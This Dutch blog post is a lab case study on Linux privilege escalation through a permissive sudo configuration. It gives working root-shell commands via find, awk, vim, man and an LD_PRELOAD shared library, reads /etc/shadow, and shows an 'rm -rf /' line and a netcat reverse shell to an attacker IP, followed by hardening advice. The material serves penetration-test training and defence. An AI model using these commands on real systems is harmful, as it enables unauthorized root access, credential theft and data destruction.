Tijdens een recente penetratietest in mijn PNPT lab omgeving stuitte ik op een perfect voorbeeld van hoe een simpele sudo misconfiguratie kan leiden tot volledige systeemcompromittering. Deze case study toont niet alleen de praktische uitvoering, maar legt ook de onderliggende technische mechanismen uit die elke penetratietester moet begrijpen.
De Ontdekking: Automatische Enumeratie Leidt tot Goud
Het begon allemaal met een standaard enumeratie na het verkrijgen van initiële toegang als gebruiker TCM. In plaats van handmatig door bestanden te zoeken, besloot ik mijn geautomatiseerde password hunting script in te zetten. Deze tool heb ik speciaal ontwikkeld voor PNPT voorbereiding en te downloaden op Github.
TCM@debian:/tmp$ ./pnpt_password_hunter.sh
Binnen enkele seconden onthulde het script meer dan alleen wachtwoorden. Het belangrijkste onderdeel van de output was niet een weggeschreven wachtwoord, maar deze cruciale informatie:
[*] Current User Context:
User: TCM
UID: 1000
Groups: user cdrom floppy audio dip video plugdev
Sudo privileges:
Matching Defaults entries for TCM on this host:
env_reset, env_keep+=LD_PRELOAD
User TCM may run the following commands on this host:
(root) NOPASSWD: /usr/sbin/iftop
(root) NOPASSWD: /usr/bin/find
(root) NOPASSWD: /usr/bin/nano
(root) NOPASSWD: /usr/bin/vim
(root) NOPASSWD: /usr/bin/man
(root) NOPASSWD: /usr/bin/awk
Jackpot. Dit was niet zomaar een misconfiguratie, maar een privilege escalation snelweg.
De Exploitatie: GTFOBins in Actie
Met de kennis dat find zonder wachtwoord als root uitgevoerd kon worden, was de volgende stap duidelijk. GTFOBins documenteert precies hoe verschillende Unix-utilities misbruikt kunnen worden voor privilege escalation.
TCM@debian:/tmp$ sudo find /etc -name "passwd" -exec /bin/bash \;
root@debian:/tmp#
En zo simpel was het. Van gewone gebruiker naar root shell in één commando.
Maar Waarom Werkt Dit Zo Direct?
Deze vraag raakt de kern van hoe Unix process privileges werken; een concept dat essentieel is voor elke penetratietester.
Process Privilege Inheritance
Wanneer je sudo find /etc -name "passwd" -exec /bin/bash \; uitvoert, gebeurt er het volgende:
- Sudo Elevatie: Het sudo systeem verheft het
findcommando naar root privileges - Process Uitvoering: Find draait nu als UID 0 (root)
- Child Process Overerving: Find’s
-execparameter start/bin/bashals child process - Privilege Overdracht: Bash erft de root privileges van zijn parent process (find)
Visueel overzicht: privilege inheritance
gebruiker (UID 1000)
└─ sudo
└─ find (UID 0 / root)
└─ /bin/bash (UID 0 / root)
Elke child process erft de privileges van zijn parent process. Omdat find via sudo als root wordt uitgevoerd, draait de via -exec gestarte shell automatisch met root-rechten.
Het Gevaar van -exec
De -exec parameter van find is ontworpen om commando’s uit te voeren op gevonden bestanden. Wat administrators vaak over het hoofd zien, is dat deze commando’s draaien met dezelfde privileges als het find proces zelf.
# Veilig voorbeeld (wat admin bedoelde):
sudo find /etc -name "*.conf" -exec cat {} \;
# Gevaarlijke realiteit (wat aanvaller kan doen):
sudo find /etc -name "anything" -exec /bin/bash \;
sudo find /etc -name "anything" -exec rm -rf / \;
sudo find /etc -name "anything" -exec nc -e /bin/bash attacker-ip 4444 \;
Meerdere Aanvalsvectoren
Deze sudo configuratie bood niet één, maar meerdere privilege escalation paden:
1. Find Commando (Gebruikt)
sudo find /etc -name "passwd" -exec /bin/bash \;
2. AWK Programmering
sudo awk 'BEGIN {system("/bin/bash")}'
3. Teksteditors (Vim/Nano)
# Vim shell escape:
sudo vim -c ':shell'
# Of in vim command mode:
:!bash
4. Man Page Viewer
sudo man ls
# In less pager, type: !bash
5. LD_PRELOAD Environment Injectie
Het meest geavanceerd, maar ook het meest interessant:
# Creëer kwaadaardige shared library:
echo 'void _init() { setuid(0); system("/bin/bash"); }' > /tmp/pe.c
gcc -shared -fPIC -nostartfiles -o /tmp/pe.so /tmp/pe.c
# Exploit elk sudo commando:
sudo LD_PRELOAD=/tmp/pe.so find /etc -name "test"
Examennota (PNPT-context)
Deze techniek werkt in dit specifieke scenario uitsluitend omdat LD_PRELOAD expliciet is toegestaan via env_keep in de sudo-configuratie. Op de meeste Linux-systemen wordt LD_PRELOAD standaard gefilterd door sudo en is deze aanvalsvector niet beschikbaar.
Zie deze methode daarom als contextafhankelijk en niet als een universele sudo privilege escalation techniek. Tijdens examens is het belangrijk om dit onderscheid te herkennen en te kunnen uitleggen waarom het hier wél werkt.
Verdediging in de Diepte: Waarom Dit Fout Ging
Het Administrator Perspectief
Waarschijnlijk wilde de administrator nuttige tools beschikbaar maken voor troubleshooting:
# Netwerkmonitoring
(root) NOPASSWD: /usr/sbin/iftop
# Bestanden zoeken
(root) NOPASSWD: /usr/bin/find
# Tekst bewerken
(root) NOPASSWD: /usr/bin/nano, /usr/bin/vim
# Documentatie
(root) NOPASSWD: /usr/bin/man
Op papier lijken dit redelijke tools voor een technische gebruiker.
Wat Er Mis Ging
De administrator begreep niet dat deze tools programmeerbare interfaces zijn die willekeurige commandouitvoering toestaan. In beveiligingstermen zijn dit “living off the land” binaries – legitieme systeemtools die misbruikt kunnen worden voor kwaadaardige doeleinden.
Veilige Sudo Configuratie
Principe van Minimale Privileges
In plaats van brede tool toegang, zou de configuratie specifiek moeten zijn:
# SLECHT - Te permissief:
TCM ALL=(root) NOPASSWD: /usr/bin/find
# BETER - Beperkte parameters:
TCM ALL=(root) NOPASSWD: /usr/bin/find /var/log -name "*.log" -type f
# BEST - Wrapper script:
TCM ALL=(root) NOPASSWD: /usr/local/bin/secure-log-finder
Verdedigingsmechanismen
- Commando Beperkingen: Limiteer parameters en paden
- Wrapper Scripts: Gebruik aangepaste scripts in plaats van systeem binaries
- Audit Logging: Log alle sudo gebruik
- Reguliere Review: Controleer sudo configuraties regelmatig
- GTFOBins Bewustzijn: Train administrators in gevaarlijke sudo toewijzingen
PNPT Examen Implicaties
Wat Deze Case Study Leert
- Geautomatiseerde Enumeratie: Scripts zoals mijn password hunter vinden meer dan wachtwoorden
- GTFOBins Kennis: Essentiële resource voor privilege escalation
- Technisch Begrip: Weten waarom exploits werken, niet alleen hoe
- Documentatie: Begrijp sudo mechanismen voor accurate rapportage
Methodologie Voor Examens
# 1. Geautomatiseerde Enumeratie
./pnpt_password_hunter.sh --quick
# 2. Sudo Beoordeling
sudo -l
# 3. GTFOBins Opzoeken
# Check https://gtfobins.github.io/ voor elke toegestane opdracht
# 4. Exploitatie
# Gebruik eenvoudigste beschikbare methode
# 5. Post-Exploitatie
whoami && id
Tools en Bronnen
Handige Scripts Voor PNPT
- Password Hunter: Geautomatiseerde credential en privilege ontdekking
- GTFOBins: Online database van privilege escalation technieken
- LinPEAS/LSE: Uitgebreide Linux enumeratie tools
Handmatige Verificatie Commando’s
# Test privilege escalation:
sudo find /etc -name "passwd" -exec whoami \;
sudo find /etc -name "passwd" -exec id \;
# Verifieer root toegang:
sudo find /etc -name "passwd" -exec cat /etc/shadow \;
Verdieping
Het password-hunting script dat in deze case study wordt gebruikt, is beschikbaar op GitHub als ondersteunende helper binnen een manual-first PNPT-workflow. In een aparte blogpost ga ik verder in op de opzet, gemaakte keuzes en beperkingen van geautomatiseerde credential discovery binnen een PNPT-gerichte workflow.
Conclusie: Van Methodologie naar Meesterschap
Deze case study illustreert waarom systematische enumeratie zo krachtig is. Door geautomatiseerde tooling te combineren met diepgaande technische kennis, transformeerde een simpele sudo misconfiguratie in minuten naar volledige systeemcompromittering.
Voor PNPT kandidaten is dit een perfecte demonstratie van de methodologie die TCM Security predikt: enumereer grondig, begrijp diep, exploit systematisch.
Het verschil tussen een script kiddie en een professionele penetratietester ligt niet in welke tools ze gebruiken, maar in hun begrip van de onderliggende systemen en hun vermogen om die kennis methodisch toe te passen.
Belangrijkste Lessen
- Onderschat sudo misconfigurations nooit – het zijn goudmijnen voor privilege escalation
- Geautomatiseerde enumeratie tools zijn krachtvermenigvuldigers, geen snelkoppelingen
- Begrip van process overerving is cruciaal voor Unix beveiligingsbeoordeling
- GTFOBins kennis is essentieel voor elke serieuze penetratietester
- Verdediging vereist begrip van aanval – administrators moeten denken zoals aanvallers
De volgende keer dat je sudo -l uitvoert en een lange lijst van NOPASSWD commando’s ziet, denk dan aan deze case study. Elk van die entries kan potentieel je ticket naar root privileges zijn.